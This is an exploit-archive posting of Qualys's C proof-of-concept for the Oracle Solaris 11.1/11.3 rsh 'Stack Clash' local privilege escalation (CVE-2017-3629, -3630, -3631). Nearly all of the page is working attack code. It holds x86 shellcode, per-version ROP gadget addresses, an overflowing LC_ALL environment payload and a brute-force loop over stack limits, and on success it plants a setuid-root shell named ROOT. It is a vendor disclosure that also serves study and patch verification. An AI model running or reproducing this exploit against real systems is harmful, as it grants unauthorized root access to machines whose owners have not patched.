Exploit the possiblities

Oracle Solaris 11.1 / 11.3 rsh Stack Clash Privilege Escalation

Oracle Solaris 11.1 / 11.3 rsh Stack Clash Privilege Escalation
Posted Jun 29, 2017
Site qualys.com

Oracle Solaris versions 11.1 and 11.3 rsh local privilege escalation stack clash exploit.

tags | exploit, local
systems | solaris
advisories | CVE-2017-3629, CVE-2017-3630, CVE-2017-3631
MD5 | ecf04fec274290660dd63bc7b82fd227

Oracle Solaris 11.1 / 11.3 rsh Stack Clash Privilege Escalation

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/*
* Solaris_rsh.c for CVE-2017-3630, CVE-2017-3629, CVE-2017-3631
* Copyright (C) 2017 Qualys, Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/

#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/fcntl.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#ifndef timersub
#define timersub(a, b, result) \
do { \
(result)->tv_sec = (a)->tv_sec - (b)->tv_sec; \
(result)->tv_usec = (a)->tv_usec - (b)->tv_usec; \
if ((result)->tv_usec < 0) { \
--(result)->tv_sec; \
(result)->tv_usec += 1000000; \
} \
} while (0)
#endif

#define RSH "/usr/bin/rsh"
static const struct target * target;
static const struct target {
const char * name;
size_t s_first, s_last, s_step;
size_t l_first, l_last, l_step;
size_t p_first, p_last, p_step;
size_t a, b;
size_t i, j;
} targets[] = {
{
.name = "Oracle Solaris 11.1 X86 (Assembled 19 September 2012)",
.s_first = 16*1024, .s_last = 44*1024, .s_step = 4096,
.l_first = 192, .l_last = 512, .l_step = 16,
.p_first = 0, .p_last = 8192, .p_step = 1,
.a = 0, .b = 15, .j = 12,
.i = 0x08052608 /* pop edx; pop ebp; ret */
},
{
.name = "Oracle Solaris 11.3 X86 (Assembled 06 October 2015)",
.s_first = 12*1024, .s_last = 44*1024, .s_step = 4096,
.l_first = 96, .l_last = 512, .l_step = 4,
.p_first = 0, .p_last = 4096, .p_step = 4,
.a = 0, .b = 3, .j = SIZE_MAX,
.i = 0x07faa7ea /* call *0xc(%ebp) */
},
};

#define ROOTSHELL "ROOT"
static const char shellcode[] =
"\x31\xc0\x50\x68ROOT"
"\x89\xe3\x50\x53\x89\xe2\x50\x50"
"\x52\x53\xb0\x3C\x48\x50\xcd\x91"
"\x31\xc0\x40\x50\x50\xcd\x91Z";

static volatile sig_atomic_t sigalarm;

static void
sigalarm_handler(const int signum __attribute__((__unused__)))
{
sigalarm = 1;
}

#define die() do { \
fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
exit(EXIT_FAILURE); \
} while (0)

static int
is_suid_root(const char * const file)
{
if (!file) die();
static struct stat sbuf;
if (stat(file, &sbuf)) die();
if (!S_ISREG(sbuf.st_mode)) die();
return ((sbuf.st_uid == 0) && (sbuf.st_mode & S_ISUID));
}

static const char *
build_lca(const size_t l)
{
static const size_t shellcode_len = sizeof(shellcode)-1;
if (shellcode_len > 64) die();
if (shellcode_len % 16) die();
if (l < shellcode_len + target->a + target->b) die();

#define LCA_MAX 4096
if (l > LCA_MAX) die();
static char lca[128 + LCA_MAX];
strcpy(lca, "LC_ALL=");
char * cp = memchr(lca, '\0', sizeof(lca));
if (!cp) die();
memcpy(cp, shellcode, shellcode_len);
cp += shellcode_len;
memset(cp, 'a', target->a);

size_t o;
for (o = target->a; l - o >= 4; o += 4) {
if ((o - target->a) % 16 == target->j) {
cp[o + 0] = '\xeb';
cp[o + 1] = (o - target->a >= 16) ? -(16u + 2u) :
-(shellcode_len + target->a + target->j + 2);
cp[o + 2] = 'j';
cp[o + 3] = 'j';
} else {
if (sizeof(size_t) != 4) die();
*(size_t *)(cp + o) = target->i;
}
}
cp += o;
memset(cp, 'b', target->b);
cp[target->b] = '\0';
if (strlen(lca) != 7 + shellcode_len + o + target->b) die();
return lca;
}

static const char *
build_pad(const size_t p)
{
#define PAD_MAX 8192
if (p > PAD_MAX) die();
static char pad[64 + PAD_MAX];
strcpy(pad, "P=");
char * const cp = memchr(pad, '\0', sizeof(pad));
if (!cp) die();
memset(cp, 'p', p);
cp[p] = '\0';
if (strlen(pad) != 2 + p) die();
return pad;
}

static void
fork_worker(const size_t s, const char * const lca, const char * const pad)
{
#define N_WORKERS 2
static size_t n_workers;
static struct {
pid_t pid;
struct timeval start;
} workers[N_WORKERS];

size_t i_worker;
struct timeval start, stop, diff;

if (n_workers >= N_WORKERS) {
if (n_workers != N_WORKERS) die();
int is_suid_rootshell = 0;
for (;;) {
sigalarm = 0;
#define TIMEOUT 10
alarm(TIMEOUT);
int status = 0;
const pid_t pid = waitpid(-1, &status, WUNTRACED);
alarm(0);
if (gettimeofday(&stop, NULL)) die();

if (pid <= 0) {
if (pid != -1) die();
if (errno != EINTR) die();
if (sigalarm != 1) die();
}
int found_pid = 0;
for (i_worker = 0; i_worker < N_WORKERS; i_worker++) {
const pid_t worker_pid = workers[i_worker].pid;
if (worker_pid <= 0) die();
if (worker_pid == pid) {
if (found_pid) die();
found_pid = 1;
if (WIFEXITED(status) || WIFSIGNALED(status))
workers[i_worker].pid = 0;
} else {
timersub(&stop, &workers[i_worker].start, &diff);
if (diff.tv_sec >= TIMEOUT)
if (kill(worker_pid, SIGKILL)) die();
}
}
if (!found_pid) {
if (pid != -1) die();
continue;
}
if (WIFEXITED(status)) {
if (WEXITSTATUS(status) != EXIT_FAILURE)
fprintf(stderr, "exited %d\n", WEXITSTATUS(status));
break;
} else if (WIFSIGNALED(status)) {
if (WTERMSIG(status) != SIGSEGV)
fprintf(stderr, "signal %d\n", WTERMSIG(status));
break;
} else if (WIFSTOPPED(status)) {
fprintf(stderr, "stopped %d\n", WSTOPSIG(status));
is_suid_rootshell |= is_suid_root(ROOTSHELL);
if (kill(pid, SIGKILL)) die();
continue;
}
fprintf(stderr, "unknown %d\n", status);
die();
}
if (is_suid_rootshell) {
system("ls -lL " ROOTSHELL);
exit(EXIT_SUCCESS);
}
n_workers--;
}
if (n_workers >= N_WORKERS) die();

static char rsh_link[64];
if (*rsh_link != '/') {
const int rsh_fd = open(RSH, O_RDONLY);
if (rsh_fd <= STDERR_FILENO) die();
if ((unsigned int)snprintf(rsh_link, sizeof(rsh_link),
"/proc/%ld/fd/%d", (long)getpid(), rsh_fd) >= sizeof(rsh_link)) die();
if (access(rsh_link, R_OK | X_OK)) die();
if (*rsh_link != '/') die();
}

static int null_fd = -1;
if (null_fd <= -1) {
null_fd = open("/dev/null", O_RDWR);
if (null_fd <= -1) die();
}

const pid_t pid = fork();
if (pid <= -1) die();
if (pid == 0) {
const struct rlimit stack = { s, s };
if (setrlimit(RLIMIT_STACK, &stack)) die();

if (dup2(null_fd, STDIN_FILENO) != STDIN_FILENO) die();
if (dup2(null_fd, STDOUT_FILENO) != STDOUT_FILENO) die();
if (dup2(null_fd, STDERR_FILENO) != STDERR_FILENO) die();

static char * const argv[] = { rsh_link, "-?", NULL };
char * const envp[] = { (char *)lca, (char *)pad, NULL };
execve(*argv, argv, envp);
die();
}
if (gettimeofday(&start, NULL)) die();
for (i_worker = 0; i_worker < N_WORKERS; i_worker++) {
const pid_t worker_pid = workers[i_worker].pid;
if (worker_pid > 0) continue;
if (worker_pid != 0) die();
workers[i_worker].pid = pid;
workers[i_worker].start = start;
n_workers++;
return;
}
die();
}

int
main(const int argc, const char * const argv[])
{
static const struct rlimit core;
if (setrlimit(RLIMIT_CORE, &core)) die();

if (geteuid() == 0) {
if (is_suid_root(ROOTSHELL)) {
if (setuid(0)) die();
if (setgid(0)) die();
static char * const argv[] = { "/bin/sh", NULL };
execve(*argv, argv, NULL);
die();
}
chown(*argv, 0, 0);
chmod(*argv, 04555);
for (;;) {
raise(SIGSTOP);
sleep(1);
}
die();
}
if (symlink(*argv, ROOTSHELL)) {
if (errno != EEXIST) die();
}

if (argc != 2) {
fprintf(stderr, "Usage: %s target\n", *argv);
size_t i;
for (i = 0; i < sizeof(targets)/sizeof(*targets); i++) {
fprintf(stderr, "Target %zu %s\n", i, targets[i].name);
}
die();
}
{
const size_t i = strtoul(argv[1], NULL, 10);
if (i >= sizeof(targets)/sizeof(*targets)) die();
target = targets + i;
fprintf(stderr, "Target %zu %s\n", i, target->name);
}
if (target->a >= 16) die();
if (target->b >= 16) die();
if (target->i <= 0) die();
if (target->j >= 16 || target->j % 4) {
if (target->j != SIZE_MAX) die();
}

static const struct sigaction sigalarm_action = { .sa_handler = sigalarm_handler };
if (sigaction(SIGALRM, &sigalarm_action, NULL)) die();

size_t s;
for (s = target->s_first; s <= target->s_last; s += target->s_step) {
if (s % target->s_step) die();

size_t l;
for (l = target->l_first; l <= target->l_last; l += target->l_step) {
if (l % target->l_step) die();
const char * const lca = build_lca(l);
fprintf(stderr, "s %zu l %zu\n", s, l);

size_t p;
for (p = target->p_first; p <= target->p_last; p += target->p_step) {
if (p % target->p_step) die();
const char * const pad = build_pad(p);
fork_worker(s, lca, pad);
}
}
}
fprintf(stderr, "Please try again\n");
die();
}


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